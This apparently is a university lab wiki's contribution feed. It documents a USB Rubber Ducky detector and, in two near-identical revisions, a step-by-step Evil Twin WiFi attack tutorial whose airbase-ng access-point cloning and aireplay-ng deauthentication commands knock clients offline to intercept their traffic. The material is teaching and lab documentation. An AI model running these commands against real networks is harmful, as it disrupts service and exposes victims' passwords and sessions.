<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=JHangstein</id>
	<title>Elvis Wiki - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=JHangstein"/>
	<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php/Special:Contributions/JHangstein"/>
	<updated>2026-09-10T15:35:02Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.41.5</generator>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Rubber_Ducky_Detector&amp;diff=11314</id>
		<title>Rubber Ducky Detector</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Rubber_Ducky_Detector&amp;diff=11314"/>
		<updated>2023-01-30T09:24:06Z</updated>

		<summary type="html">&lt;p&gt;JHangstein: Created documentation for the Rubber Ducky Detector project.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This article serves as documentation for using the Rubber Ducky Detector developed by students of the FH Campus Wien.&lt;br /&gt;
The Rubber Ducky Detector is a program running on a [[Raspberry Pi 4 Model B 8GB]] using RasPi OS that helps diminish attacks conducted with hotplug attack tools like the [[Hak5 Rubber Ducky]]. The Rubber Ducky is visually indistinguishable from a regular USB Stick, and pretends to be a Human Interface Device (HID) able to mimick keystrokes. The keystrokes can be pre-programmed in a custom payload. For further reference, see the detailed documentation for [[Hak5 Rubber Ducky]].&lt;br /&gt;
&lt;br /&gt;
The Rubber Ducky Detector is designed to run on an isolated system and provides a point where users can check unknown USB devices for maliciousness safely. After plugging in a device, the program checks if it is a Rubber Ducky. In case it is a legitimate USB drive, the Rubber Ducky Detector additionally checks for malicious file extensions and references the [https://www.clamav.net/ ClamAV] anti virus library to check for infected files.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Hardware: [[Raspberry Pi 4 4G Model B]] or [[Raspberry Pi 4 Model B 8GB]]&lt;br /&gt;
* Operating system: Pi OS (32-bit) with desktop, or &#039;&#039;&#039;alternatively&#039;&#039;&#039; [https://drive.google.com/file/d/1rc4VAEZ_PBI_TmvLSsJv3klG4QjUyw9A/view this custom image] with pre-installed utilities and configurations&lt;br /&gt;
* Screen: JoyIT 3.2&amp;quot; Touchscreen Display or regular HDMI-able screen&lt;br /&gt;
* Flashing Tool: [https://www.raspberrypi.com/software/ RasPi Imager]&lt;br /&gt;
* Packages: &amp;lt;code&amp;gt;g++ libusb-1.0-0-dev clamav libclamav-dev libgtkmm-3.0-dev&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Usage ==&lt;br /&gt;
&lt;br /&gt;
=== Setup === &lt;br /&gt;
&lt;br /&gt;
# Download the custom image. If the official RasPi OS image is to be used, skip to step 2.&lt;br /&gt;
# Use the RasPi Imager to flash the image on a connected SD card. For the official RasPi OS distribution, click &amp;quot;Choose OS&amp;quot; and select the topmost option Raspberry Pi OS (32-bit). For the custom image, scroll down and select the &amp;quot;Custom Image&amp;quot; option to select a custom image file. Select the connected SD card and initiate the flashing process.&lt;br /&gt;
# Upon completion of flashing, insert the SD card into the Raspberry Pi, connect screens, and boot it up.&lt;br /&gt;
# The custom image should initiate the Rubber Ducky Detector program automatically upon startup. It uses the credentials &lt;br /&gt;
 username: pi&lt;br /&gt;
 password: duckyDetector&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;For the official distribution only&#039;&#039;&#039;, complete the setup process, open a terminal and clone the repository with the command&lt;br /&gt;
 git clone https://git.fh-campuswien.ac.at/sisch/ducky-detector.git&lt;br /&gt;
then run the installer script&lt;br /&gt;
 sudo ./install.sh&lt;br /&gt;
The installer script installs all required dependencies automatically and offers optional configuration of the touchscreen and an autostart functionality. If permission to run the script is denied, make the script executable by entering the command&lt;br /&gt;
 sudo chmod +x install.h&lt;br /&gt;
After completing setup, enter the ducky-detector directory and compile the program by entering the command&lt;br /&gt;
 sudo make&lt;br /&gt;
When the compilation is finished, run the program by typing&lt;br /&gt;
 ./DuckyDetector&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attention!&#039;&#039;&#039; Unplug all connected USB devices before initiating the scanning process.&lt;br /&gt;
&lt;br /&gt;
=== Step 1: First Periphery Scan ===&lt;br /&gt;
&lt;br /&gt;
To scan a device, press &#039;OK&#039; to initiate the process. &#039;&#039;&#039;After that&#039;&#039;&#039;, insert the USB drive, and press &#039;OK&#039; again.&lt;br /&gt;
If the connected device is an HID, the tool will cancel the scanning process and warn the user.&lt;br /&gt;
&lt;br /&gt;
=== Step 2: Second Periphery Scan ===&lt;br /&gt;
&lt;br /&gt;
After passing the first check, the program will check for additional partitions on the device, and warn users if multiple partitions or file systems are detected. Press &#039;Details&#039; for further information.&lt;br /&gt;
&lt;br /&gt;
=== Step 3: File Extension Analysis ===&lt;br /&gt;
&lt;br /&gt;
If all periphery scans are passed, the Rubber Ducky Detector analyses the file extensions of all files contained on the USB drive, and check for extensions with possible malicious consequences like executables. Press &#039;Details&#039; for further information.&lt;br /&gt;
&lt;br /&gt;
=== Step 4: Malware Analysis ===&lt;br /&gt;
&lt;br /&gt;
To scan the device for malware, a ClamAV Engine is created that subsequently accesses an online database to downloads signatures. It then checks the files against these signatures to detect infected files. Press &#039;Details&#039; for further information.&lt;br /&gt;
&lt;br /&gt;
== Further Development ==&lt;br /&gt;
&lt;br /&gt;
The project is hosted on [https://git.fh-campuswien.ac.at/sisch/ducky-detector GitLab]. The GUI has recently been updated to be easily editable by using the tool [https://glade.gnome.org/ Glade]. The GUI is optimized for a small touchscreen, but can easily be edited and upscaled by using Glade. To edit, open the &amp;lt;code&amp;gt;duckyDetector.glade&amp;lt;/code&amp;gt; file in Glade. To view applied changes in the actual running program, no recompilation is necessary as the application pulls the data from the Glade file at runtime.&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* [[Raspberry Pi 4 Model B 8GB]]&lt;br /&gt;
* [https://joy-it.net/en/products/RB-TFT3.2V2 JoyIT 3.2&amp;quot; Touchscreen Display]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [https://docs.hak5.org/hak5-usb-rubber-ducky/ Rubber Ducky Introduction]&lt;br /&gt;
* [https://github.com/hak5/usbrubberducky-payloads Rubber Ducky Official Payload Library]&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>JHangstein</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Evil_Twin_Attack_via_Kali_on_Odroid_XU4&amp;diff=10490</id>
		<title>Evil Twin Attack via Kali on Odroid XU4</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Evil_Twin_Attack_via_Kali_on_Odroid_XU4&amp;diff=10490"/>
		<updated>2023-01-01T19:49:11Z</updated>

		<summary type="html">&lt;p&gt;JHangstein: /* References */ Added references for summary.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
The Evil Twin (ET) Attack is a type of [https://en.wikipedia.org/wiki/Man-in-the-middle_attack Machine-in-the-Middle] (MitM) attack that is carried out via WiFi. The basic premise of the attack is to fool victims into thinking they are connecting to a legitimate access point (AP), when in fact they are connecting to the &amp;quot;evil twin&amp;quot; AP.&lt;br /&gt;
&lt;br /&gt;
The goal of the attack usually coincides with the typical goals of any MitM attack. As every traffic leaving the local network to be routed over the internet leaves the LAN over the default gateway, an attacker can intercept all outgoing traffic when a client is connected to the ET. Attackers then redirect the traffic received by the victim to the legitimate gateway, posing as the victim machine. Network traffic now flows like normal, but via the attacker. Endpoints can still communicate with each other like before, but the victim&#039;s data is now at the attacker’s mercy. This data can be passwords or entire sessions to access e-mail accounts or social networks.&lt;br /&gt;
When considering the attack by comparing it against the CIA Triad, the implications are massive. An attacker in this position can compromise confidentiality by eavesdropping, and integrity by message modification. They can also intercept, modify, or destroy the messages to compromise availability.&lt;br /&gt;
&lt;br /&gt;
The attack is conducted as follows: First, the attacker has to figure out which access point the intended victim is using. In the case no specific victim is targeted, attackers could also choose a commonly used access point like a public WiFi hotspot. If the access point that is going to be impersonated is fixated, in a second step the attacker has to take note of the APs Service Set Identification (SSID) number, and the Basic Service Set Identification (BSSID) number. The SSID is the name that is displayed for users trying to connect to a WiFi AP, while the BSSID is the physical MAC address of said AP. This is no complicated feat, as access points send out these two numbers constantly to allow users to connect. Following this premise, if the attacker sends out this information themselves, the evil twin will show up on the victim&#039;s device in the list of access points to connect to, with the same SSID and BSSID as the legitimate access point. With appropriate tools that will be described in more detail below, clients can be disconnected from the legitimate AP. The goal is to then broadcast with a stronger signal than the legitimate access point, fooling users to connect to the &amp;quot;best&amp;quot; available access point.&lt;br /&gt;
&lt;br /&gt;
If the original access point is password protected, according measures need to be taken. Password protected access points are not immune to Evil Twin Attacks, especially when dealing with access points with easily obtainable passwords. This includes cafés, hotels, and similar institutions that tend to share their provided access point&#039;s password with their customer base. But even a private WiFi hotspot&#039;s password can be obtained through social engineering attacks without much sophistication. For example, attackers innocently asking for a WiFi password can fool a person knowing the password into giving it up. Another possibility is capturing a WPA handshake between the legitimate AP and a client and cracking the transmitted hash. In any case, as soon as the password is obtained, it can be added to the evil twin configuration.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Requirements/Hardware==&lt;br /&gt;
&lt;br /&gt;
Operating system: [https://www.offensive-security.com/kali-linux-arm-images/ Kali Linux ODROID-XU3]&lt;br /&gt;
&lt;br /&gt;
Hardware: &lt;br /&gt;
* Exisiting WiFi hotspot for impersonation&lt;br /&gt;
* Client connected to WiFi hotspot&lt;br /&gt;
* ODROID XU4 single-board computer (incl. power supply unit 5V/4A)&lt;br /&gt;
* eMMC (min. 8GB)&lt;br /&gt;
* microSD (min. 8GB) &lt;br /&gt;
* microSD to USB adapter&lt;br /&gt;
* Mouse&lt;br /&gt;
* Keyboard&lt;br /&gt;
* Monitor (via HDMI)&lt;br /&gt;
* Two WiFi adapters (e.g. Alfa AWUS036EAC)&lt;br /&gt;
&lt;br /&gt;
== Installing Kali on ODROID XU4 ==&lt;br /&gt;
&lt;br /&gt;
=== Step 1: Download ===&lt;br /&gt;
&lt;br /&gt;
Download the Kali image. The ODROID XU4 OS is very similar to the ODROID XU3 OS, thus the OS of XU3 can be used for a XU4 board.&lt;br /&gt;
&lt;br /&gt;
=== Step 2: Preparation ===&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; It is recommended to use Balena Etcher, as it works for different OS and does the two steps of formatting and flashing in the same process.&lt;br /&gt;
&lt;br /&gt;
* Insert the microSD card into you PC (if required use the adapter)&lt;br /&gt;
* Format the microSD card with [https://www.balena.io/etcher/ Balena Etcher] or [https://sd-card-formatter.de.uptodown.com/windows SD Fortmatter]. If you use SD Formatter: Don&#039;t forget to check &amp;quot;Format Size Adjustment&amp;quot; in &amp;quot;Options&amp;quot;.&lt;br /&gt;
* Flash the OS to the microSD card. Required: A program to create bootable devices, e.g. [https://win32diskimager.download/ Win32 Disk Imager for Windows].&lt;br /&gt;
&lt;br /&gt;
=== Step 3: Installing ===&lt;br /&gt;
For the following steps you might need the [https://magazine.odroid.com/wp-content/uploads/odroid-xu4-user-manual.pdf manual for ODROID XU4] to see where the mentioned parts are located.&lt;br /&gt;
* Stick the eMMC to the ODROID XU4 &lt;br /&gt;
* Switch the Boot Mode Selector to &amp;quot;microSD&amp;quot;&lt;br /&gt;
* Put in the microSD card&lt;br /&gt;
* Attach mouse, keyboard and monitor to the XU4. Make sure that all of them are attached before booting - otherwise you will receive a kernel error.&lt;br /&gt;
* After that: attach the power supply.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If all steps were performed correctly:&lt;br /&gt;
* The fan of the ODROID XU4 starts&lt;br /&gt;
* The blue LED should be on (solid light): bootloader running.&lt;br /&gt;
* Monitor should display booting. &lt;br /&gt;
This can take a while.&lt;br /&gt;
&lt;br /&gt;
 Username: kali&lt;br /&gt;
 Password: kali&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
States of the ODROID XU4 LED:&lt;br /&gt;
* red LED: is on when power is available&lt;br /&gt;
* blue LED (solid): when the bootloader is running&lt;br /&gt;
* blue LED (blinks slowly, like a heartbeat): kernel is running&lt;br /&gt;
* blue LED (blinks fast): kernel is in panic mode&lt;br /&gt;
&lt;br /&gt;
== Performing the Evil Twin Attack on Kali Linux ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Interface Designation and Information Gathering ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Add the WiFi adapters to the XU4 and check if they are recognized &#039;&#039;&#039;&lt;br /&gt;
 sudo ifconfig&lt;br /&gt;
If the interfaces are not recognized, try rebooting the XU4.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check the available wireless interfaces&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Take note of their names, as the interfaces will be used in the attack.&lt;br /&gt;
 sudo iwconfig &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Find out the BSSID and which channel the legitimate AP uses&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This can be done in two ways. If the SSID (common name) of the hotspot is known, take one of the available wireless interfaces from the step before and use the command&lt;br /&gt;
 iw &amp;lt;interface name&amp;gt; scan | grep -B 8 -A 2 &amp;lt;SSID&amp;gt;&lt;br /&gt;
This displays the information about the specified SSID if it is represented in the list of available APs. The output contains SSID, BSSID and channel.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Alternatively&#039;&#039;&#039;, the channel is also denotified in the output of airodump-ng. To use airodump-ng, first enter one of the available interfaces into monitor mode:&lt;br /&gt;
 sudo airmon-ng start &amp;lt;interface name&amp;gt;&lt;br /&gt;
Then, analyze the output of the tool:&lt;br /&gt;
 sudo airodump-ng &amp;lt;monitoring interface name&amp;gt;&lt;br /&gt;
After gathering the information, be sure to stop the monitoring for now:&lt;br /&gt;
 sudo airmon-ng stop &amp;lt;monitoring interface name&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Start monitor mode on an available wireless interface&#039;&#039;&#039;.&lt;br /&gt;
 sudo airmon-ng start &amp;lt;interface&amp;gt; &amp;lt;channel&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;Cue&#039;&#039;&#039;: Output has to contain &amp;quot;monitor mode enabled&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Evil Twin Access Point Creation ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Insert the captured SSID and BSSID information:&lt;br /&gt;
 sudo airbase-ng -a &amp;lt;BSSID&amp;gt; --essid &amp;lt;ESSID&amp;gt; &amp;lt;interface&amp;gt;&lt;br /&gt;
After running the command, airbase turns the wireless adapter into an access point. It now shows up in the list of available APs on devices in the area, carrying the same name as  the legitimate AP.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Disassociation of Clients ===&lt;br /&gt;
&lt;br /&gt;
Open a new terminal.&lt;br /&gt;
&lt;br /&gt;
In this step, clients of the legitimate access points will be deauthenticated and will lose their internet connection.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Deauthenticating clients&#039;&#039;&#039;&lt;br /&gt;
 sudo aireplay-ng --deauth 0 -a &amp;lt;router BSSID&amp;gt; &amp;lt;second monitoring interface&amp;gt;&lt;br /&gt;
The &amp;quot;0&amp;quot; indicates how fast the deauthentication packets will be sent (in seconds). 0 is the fastest option and will spam the deauthentication packet. For this command to work, te monitoring interface used &#039;&#039;&#039;has&#039;&#039;&#039; to be in the right channel!&lt;br /&gt;
&lt;br /&gt;
This command might not work because it could produce a broadcast storm, so some WiFi routers filter them.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Alternatively&#039;&#039;&#039;, a specific client can be disconnected by specifying the client MAC address.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Disconnect a specific client:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
First run the airodump-ng command again, but with the BSSID of the router to receive the MAC address of the client:&lt;br /&gt;
 sudo airodump-ng &amp;lt;monitoring interface&amp;gt; --bssid &amp;lt;router BSSID&amp;gt; -c &amp;lt;routers channel&amp;gt;&lt;br /&gt;
Then execute the deauth-command:&lt;br /&gt;
 sudo aireplay-ng --deauth 0 -c &amp;lt;client MAC address&amp;gt; -a &amp;lt;router BSSID&amp;gt; &amp;lt;second monitoring interface&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Bring clients to connect to the fake AP ===&lt;br /&gt;
&lt;br /&gt;
As soon as clients are disassociated from the legitimate AP, they lose their internet connectivity. When trying to reconnect to the AP, they are &#039;&#039;probably&#039;&#039; going to click on the AP with the best signal, which - depending on OS - will usually also be displayed at the top of the list of available APs. This means that it is in the interest of the attacker to move close to the victim, and use a strong antenna, to increase the signal strength and the chances of success.&lt;br /&gt;
&lt;br /&gt;
Additionally, before deauthentication, the attacker should create a bridge to assure that the traffic flows over the ET to the legitimate router to provide internet connectivity to the victim and complete the MitM setup.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Error handling ===&lt;br /&gt;
&lt;br /&gt;
If neither disconnecting all clients nor disconnecting a specific client worked, you can check if the card supports injection:&lt;br /&gt;
 sudo aireplay-ng --test &amp;lt;interface&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://wiki.odroid.com/odroid-xu4/odroid-xu4&lt;br /&gt;
* https://www.offensive-security.com/kali-linux-arm-images/&lt;br /&gt;
* https://www.kalitutorials.net/2014/07/evil-twin-tutorial.html&lt;br /&gt;
* https://ieeexplore.ieee.org/document/8955158&lt;br /&gt;
* https://ieeexplore.ieee.org/document/6997491&lt;br /&gt;
* https://ieeexplore.ieee.org/document/4745081&lt;br /&gt;
* https://ieeexplore.ieee.org/document/8344724&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>JHangstein</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Evil_Twin_Attack_via_Kali_on_Odroid_XU4&amp;diff=10488</id>
		<title>Evil Twin Attack via Kali on Odroid XU4</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Evil_Twin_Attack_via_Kali_on_Odroid_XU4&amp;diff=10488"/>
		<updated>2023-01-01T19:42:03Z</updated>

		<summary type="html">&lt;p&gt;JHangstein: /* Performing Evil Twin on ODROID XU4 */ Completely overhauled the section by adding explanations and additional information. Removed unnecessary commands, updated others. Added a more convenient way to gather information.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
The Evil Twin (ET) Attack is a type of [https://en.wikipedia.org/wiki/Man-in-the-middle_attack Machine-in-the-Middle] (MitM) attack that is carried out via WiFi. The basic premise of the attack is to fool victims into thinking they are connecting to a legitimate access point (AP), when in fact they are connecting to the &amp;quot;evil twin&amp;quot; AP.&lt;br /&gt;
&lt;br /&gt;
The goal of the attack usually coincides with the typical goals of any MitM attack. As every traffic leaving the local network to be routed over the internet leaves the LAN over the default gateway, an attacker can intercept all outgoing traffic when a client is connected to the ET. Attackers then redirect the traffic received by the victim to the legitimate gateway, posing as the victim machine. Network traffic now flows like normal, but via the attacker. Endpoints can still communicate with each other like before, but the victim&#039;s data is now at the attacker’s mercy. This data can be passwords or entire sessions to access e-mail accounts or social networks.&lt;br /&gt;
When considering the attack by comparing it against the CIA Triad, the implications are massive. An attacker in this position can compromise confidentiality by eavesdropping, and integrity by message modification. They can also intercept, modify, or destroy the messages to compromise availability.&lt;br /&gt;
&lt;br /&gt;
The attack is conducted as follows: First, the attacker has to figure out which access point the intended victim is using. In the case no specific victim is targeted, attackers could also choose a commonly used access point like a public WiFi hotspot. If the access point that is going to be impersonated is fixated, in a second step the attacker has to take note of the APs Service Set Identification (SSID) number, and the Basic Service Set Identification (BSSID) number. The SSID is the name that is displayed for users trying to connect to a WiFi AP, while the BSSID is the physical MAC address of said AP. This is no complicated feat, as access points send out these two numbers constantly to allow users to connect. Following this premise, if the attacker sends out this information themselves, the evil twin will show up on the victim&#039;s device in the list of access points to connect to, with the same SSID and BSSID as the legitimate access point. With appropriate tools that will be described in more detail below, clients can be disconnected from the legitimate AP. The goal is to then broadcast with a stronger signal than the legitimate access point, fooling users to connect to the &amp;quot;best&amp;quot; available access point.&lt;br /&gt;
&lt;br /&gt;
If the original access point is password protected, according measures need to be taken. Password protected access points are not immune to Evil Twin Attacks, especially when dealing with access points with easily obtainable passwords. This includes cafés, hotels, and similar institutions that tend to share their provided access point&#039;s password with their customer base. But even a private WiFi hotspot&#039;s password can be obtained through social engineering attacks without much sophistication. For example, attackers innocently asking for a WiFi password can fool a person knowing the password into giving it up. Another possibility is capturing a WPA handshake between the legitimate AP and a client and cracking the transmitted hash. In any case, as soon as the password is obtained, it can be added to the evil twin configuration.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Requirements/Hardware==&lt;br /&gt;
&lt;br /&gt;
Operating system: [https://www.offensive-security.com/kali-linux-arm-images/ Kali Linux ODROID-XU3]&lt;br /&gt;
&lt;br /&gt;
Hardware: &lt;br /&gt;
* Exisiting WiFi hotspot for impersonation&lt;br /&gt;
* Client connected to WiFi hotspot&lt;br /&gt;
* ODROID XU4 single-board computer (incl. power supply unit 5V/4A)&lt;br /&gt;
* eMMC (min. 8GB)&lt;br /&gt;
* microSD (min. 8GB) &lt;br /&gt;
* microSD to USB adapter&lt;br /&gt;
* Mouse&lt;br /&gt;
* Keyboard&lt;br /&gt;
* Monitor (via HDMI)&lt;br /&gt;
* Two WiFi adapters (e.g. Alfa AWUS036EAC)&lt;br /&gt;
&lt;br /&gt;
== Installing Kali on ODROID XU4 ==&lt;br /&gt;
&lt;br /&gt;
=== Step 1: Download ===&lt;br /&gt;
&lt;br /&gt;
Download the Kali image. The ODROID XU4 OS is very similar to the ODROID XU3 OS, thus the OS of XU3 can be used for a XU4 board.&lt;br /&gt;
&lt;br /&gt;
=== Step 2: Preparation ===&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; It is recommended to use Balena Etcher, as it works for different OS and does the two steps of formatting and flashing in the same process.&lt;br /&gt;
&lt;br /&gt;
* Insert the microSD card into you PC (if required use the adapter)&lt;br /&gt;
* Format the microSD card with [https://www.balena.io/etcher/ Balena Etcher] or [https://sd-card-formatter.de.uptodown.com/windows SD Fortmatter]. If you use SD Formatter: Don&#039;t forget to check &amp;quot;Format Size Adjustment&amp;quot; in &amp;quot;Options&amp;quot;.&lt;br /&gt;
* Flash the OS to the microSD card. Required: A program to create bootable devices, e.g. [https://win32diskimager.download/ Win32 Disk Imager for Windows].&lt;br /&gt;
&lt;br /&gt;
=== Step 3: Installing ===&lt;br /&gt;
For the following steps you might need the [https://magazine.odroid.com/wp-content/uploads/odroid-xu4-user-manual.pdf manual for ODROID XU4] to see where the mentioned parts are located.&lt;br /&gt;
* Stick the eMMC to the ODROID XU4 &lt;br /&gt;
* Switch the Boot Mode Selector to &amp;quot;microSD&amp;quot;&lt;br /&gt;
* Put in the microSD card&lt;br /&gt;
* Attach mouse, keyboard and monitor to the XU4. Make sure that all of them are attached before booting - otherwise you will receive a kernel error.&lt;br /&gt;
* After that: attach the power supply.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If all steps were performed correctly:&lt;br /&gt;
* The fan of the ODROID XU4 starts&lt;br /&gt;
* The blue LED should be on (solid light): bootloader running.&lt;br /&gt;
* Monitor should display booting. &lt;br /&gt;
This can take a while.&lt;br /&gt;
&lt;br /&gt;
 Username: kali&lt;br /&gt;
 Password: kali&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
States of the ODROID XU4 LED:&lt;br /&gt;
* red LED: is on when power is available&lt;br /&gt;
* blue LED (solid): when the bootloader is running&lt;br /&gt;
* blue LED (blinks slowly, like a heartbeat): kernel is running&lt;br /&gt;
* blue LED (blinks fast): kernel is in panic mode&lt;br /&gt;
&lt;br /&gt;
== Performing the Evil Twin Attack on Kali Linux ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Interface Designation and Information Gathering ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Add the WiFi adapters to the XU4 and check if they are recognized &#039;&#039;&#039;&lt;br /&gt;
 sudo ifconfig&lt;br /&gt;
If the interfaces are not recognized, try rebooting the XU4.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check the available wireless interfaces&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Take note of their names, as the interfaces will be used in the attack.&lt;br /&gt;
 sudo iwconfig &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Find out the BSSID and which channel the legitimate AP uses&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This can be done in two ways. If the SSID (common name) of the hotspot is known, take one of the available wireless interfaces from the step before and use the command&lt;br /&gt;
 iw &amp;lt;interface name&amp;gt; scan | grep -B 8 -A 2 &amp;lt;SSID&amp;gt;&lt;br /&gt;
This displays the information about the specified SSID if it is represented in the list of available APs. The output contains SSID, BSSID and channel.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Alternatively&#039;&#039;&#039;, the channel is also denotified in the output of airodump-ng. To use airodump-ng, first enter one of the available interfaces into monitor mode:&lt;br /&gt;
 sudo airmon-ng start &amp;lt;interface name&amp;gt;&lt;br /&gt;
Then, analyze the output of the tool:&lt;br /&gt;
 sudo airodump-ng &amp;lt;monitoring interface name&amp;gt;&lt;br /&gt;
After gathering the information, be sure to stop the monitoring for now:&lt;br /&gt;
 sudo airmon-ng stop &amp;lt;monitoring interface name&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Start monitor mode on an available wireless interface&#039;&#039;&#039;.&lt;br /&gt;
 sudo airmon-ng start &amp;lt;interface&amp;gt; &amp;lt;channel&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;Cue&#039;&#039;&#039;: Output has to contain &amp;quot;monitor mode enabled&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Evil Twin Access Point Creation ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Insert the captured SSID and BSSID information:&lt;br /&gt;
 sudo airbase-ng -a &amp;lt;BSSID&amp;gt; --essid &amp;lt;ESSID&amp;gt; &amp;lt;interface&amp;gt;&lt;br /&gt;
After running the command, airbase turns the wireless adapter into an access point. It now shows up in the list of available APs on devices in the area, carrying the same name as  the legitimate AP.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Disassociation of Clients ===&lt;br /&gt;
&lt;br /&gt;
Open a new terminal.&lt;br /&gt;
&lt;br /&gt;
In this step, clients of the legitimate access points will be deauthenticated and will lose their internet connection.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Deauthenticating clients&#039;&#039;&#039;&lt;br /&gt;
 sudo aireplay-ng --deauth 0 -a &amp;lt;router BSSID&amp;gt; &amp;lt;second monitoring interface&amp;gt;&lt;br /&gt;
The &amp;quot;0&amp;quot; indicates how fast the deauthentication packets will be sent (in seconds). 0 is the fastest option and will spam the deauthentication packet. For this command to work, te monitoring interface used &#039;&#039;&#039;has&#039;&#039;&#039; to be in the right channel!&lt;br /&gt;
&lt;br /&gt;
This command might not work because it could produce a broadcast storm, so some WiFi routers filter them.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Alternatively&#039;&#039;&#039;, a specific client can be disconnected by specifying the client MAC address.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Disconnect a specific client:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
First run the airodump-ng command again, but with the BSSID of the router to receive the MAC address of the client:&lt;br /&gt;
 sudo airodump-ng &amp;lt;monitoring interface&amp;gt; --bssid &amp;lt;router BSSID&amp;gt; -c &amp;lt;routers channel&amp;gt;&lt;br /&gt;
Then execute the deauth-command:&lt;br /&gt;
 sudo aireplay-ng --deauth 0 -c &amp;lt;client MAC address&amp;gt; -a &amp;lt;router BSSID&amp;gt; &amp;lt;second monitoring interface&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Bring clients to connect to the fake AP ===&lt;br /&gt;
&lt;br /&gt;
As soon as clients are disassociated from the legitimate AP, they lose their internet connectivity. When trying to reconnect to the AP, they are &#039;&#039;probably&#039;&#039; going to click on the AP with the best signal, which - depending on OS - will usually also be displayed at the top of the list of available APs. This means that it is in the interest of the attacker to move close to the victim, and use a strong antenna, to increase the signal strength and the chances of success.&lt;br /&gt;
&lt;br /&gt;
Additionally, before deauthentication, the attacker should create a bridge to assure that the traffic flows over the ET to the legitimate router to provide internet connectivity to the victim and complete the MitM setup.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
